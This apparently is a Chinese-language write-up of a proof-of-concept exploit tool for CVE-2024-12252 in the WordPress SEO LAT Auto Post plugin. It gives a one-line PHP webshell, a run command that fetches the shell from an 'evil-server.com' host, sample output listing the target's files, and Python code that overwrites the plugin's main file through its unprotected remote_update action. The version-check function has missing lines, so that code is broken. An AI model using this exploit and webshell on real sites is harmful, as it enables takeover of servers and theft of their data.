SEO LAT Auto Post 插件远程代码执行漏洞利用工具 (CVE-2024-12252)

3 阅读3分钟

SEO LAT Auto Post 插件远程代码执行漏洞利用工具 (CVE-2024-12252)

这是一个专业的、针对 WordPress SEO LAT Auto Post 插件中高危漏洞 (CVE-2024-12252) 的概念验证 (PoC) 利用工具。该工具能够自动化检测目标站点是否存在漏洞,并利用其缺陷覆盖插件核心文件,最终实现远程代码执行。

功能特性

  • 远程代码执行:利用 remote_update AJAX 动作中缺失的权限检查,将用户提供的恶意 PHP shell 覆盖到插件的主文件 (seo-beginner-auto-post.php) 中,从而在服务器上执行任意代码。
  • 交互式命令执行:在成功上传 shell 后,工具提供了一个简单的命令执行接口,可以直接在目标服务器上运行系统命令,如 ls, whoami 等。
  • 操作简单:只需提供目标 WordPress 站点的基础 URL 和恶意 PHP 文件的 URL,即可一键完成从检测到利用的全过程。

安装指南

系统要求

  • Python 3.x
  • pip (Python 包管理工具)

依赖项安装

本项目依赖于 requests 库来发送 HTTP 请求。在运行脚本之前,请使用以下命令安装所需的依赖:

pip install requests

使用说明

准备工作

在运行此工具前,你需要准备一个包含恶意 PHP 代码的 shell.php 文件,并将其托管在一个你可以访问的 Web 服务器上(例如 http://yourserver.com/shell.php)。该文件的内容可以是一个简单的 webshell,例如:

<?php system($_GET['cmd']); ?>

命令行参数

脚本接受以下命令行参数:

参数描述是否必需
-u, --url目标 WordPress 站点的根 URL (例如 http://example.com/wordpress)
--attack-url你托管恶意 PHP shell 文件的直接 URL
-h, --help显示帮助信息

运行示例

  1. 检查目标并执行利用

    python CVE-2024-12252.py -u http://target-site.com/wordpress --attack-url http://evil-server.com/shell.php
    
  2. 执行过程示例输出

    
    [+] Detected plugin version: 2.2.0
    [!] Plugin is vulnerable. Proceeding with exploitation...
    [+] Ready for exploitation stage...
    [+] Triggering exploit with payload: http://evil-server.com/shell.php
    [+] Exploit triggered successfully.
    [+] Shell should be available at: http://target-site.com/wordpress/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php?cmd=whoami
    [+] Shell successfully uploaded. Access it at: http://target-site.com/wordpress/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php?cmd=ls
    [+] Executing 'ls' command:
    index.php
    wp-config.php
    wp-content
    ...
    

API 概览

check_vulnerable_version(base_url)
  • 描述: 检查目标站点上插件版本是否受 CVE-2024-12252 影响。
  • 参数: base_url - 目标站点的根 URL。
  • 返回: True 如果版本小于等于 2.2.1,否则返回 False
exploit_remote_update(base_url, attack_url)
  • 描述: 发送利用请求,覆盖目标插件的主文件。
  • 参数: base_url - 目标站点的根 URL;attack_url - 托管恶意 PHP shell 的 URL。
  • 返回: 成功时返回上传的 shell 文件的 URL,否则返回 None
execute_command(shell_url, command)
  • 描述: 向已上传的 shell 发送命令并执行。
  • 参数: shell_url - shell 文件的 URL;command - 要执行的系统命令。
  • 返回: 命令执行的结果。

核心代码

以下是项目中的核心代码片段,展示了漏洞检测和利用的关键逻辑。

漏洞版本检测函数

def check_vulnerable_version(base_url):



    try:

        if response.status_code == 200:
            match = re.search(r"Stable tag:\s*([\d.]+)", response.text)
            if match:
                version = match.group(1).strip()
                print(f"[+] Detected plugin version: {version}")
                if version <= "2.2.1":
                    print("[!] Plugin is vulnerable. Proceeding with exploitation...")
                    return True
                else:
                    print("[-] Plugin version is not vulnerable.")
            else:

        else:

    except requests.exceptions.RequestException as e:
        print(f"[-] Error while connecting: {e}")

    return False

漏洞利用核心函数

def exploit_remote_update(base_url, attack_url):
    print(f"[+] Triggering exploit with payload: {attack_url}")
    exploit_url = base_url.rstrip('/') + "/wp-admin/admin-ajax.php?action=remote_update&url=" + attack_url
    try:
        response = session.post(exploit_url, timeout=10)
        if response.status_code == 200 and 'success' in response.text:
            print("[+] Exploit triggered successfully.")
            shell_path = base_url.rstrip('/') + "/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php"
            print(f"[+] Shell should be available at: {shell_path}?cmd=whoami")
            return shell_path
        else:
            print("[-] Exploit may have failed. Response:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"[-] Exploit error: {e}")
    return None

该函数构造并发送一个 POST 请求到 admin-ajax.php,利用 action=remote_update 和用户提供的 attack_url 参数,将恶意文件内容写入目标插件的主文件,从而实现覆盖。 6HFtX5dABrKlqXeO5PUv/7Ow7viratU2TElqNnTrDVY=